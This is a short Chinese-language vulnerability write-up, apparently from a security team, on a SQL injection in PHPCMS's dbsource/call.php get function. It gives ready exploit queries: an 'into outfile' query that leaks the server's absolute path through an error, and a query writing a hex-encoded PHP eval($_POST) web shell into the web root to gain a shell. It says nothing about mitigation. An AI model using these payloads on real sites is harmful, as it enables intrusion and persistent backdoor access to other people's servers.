本文由armyzer0团队原创投稿安全脉搏,安全脉搏独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。
漏洞存在文件phpcms\modules\dbsource\call.php的get函数中
程序调用了$data变量的数据,而这个变量可以被用户控制(在后台数据源,自定义sql语句的地方),所以可以构造任务sql语句来进行调用(语句尾用--注释掉程序原本的limit语句。
后台进行自定义sql,然后调用
既然可以调用任意的sql语句,则可以利用mysql的into outfile 进行文件写入,只要能找到网站程序的绝对路径即可,那么怎样得知绝对路径呢,可以利用sql语句来报错,证明如下:构造自定义sql语句:select 123 into outfile'c:\\test.txt' -- ,然后调用
可以看到程序出错,绝对路径就出来了,此外,尽管程序报错了, 但是sql语句还是顺利执行了,所以利用这个漏洞,只要构造自定义语句:select0x3C3F706870206576616C2028245F504F53545B76616C5D293B203F3E into outfile'D:\\xampp\\htdocs\\phpcms\\abc.php' -- 同样在也前台进行调用,就可以在程序的根目录下程序后门程序,从而GETSHELL。
【本文由armyzer0团队原创投稿安全脉搏,安全脉搏独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。】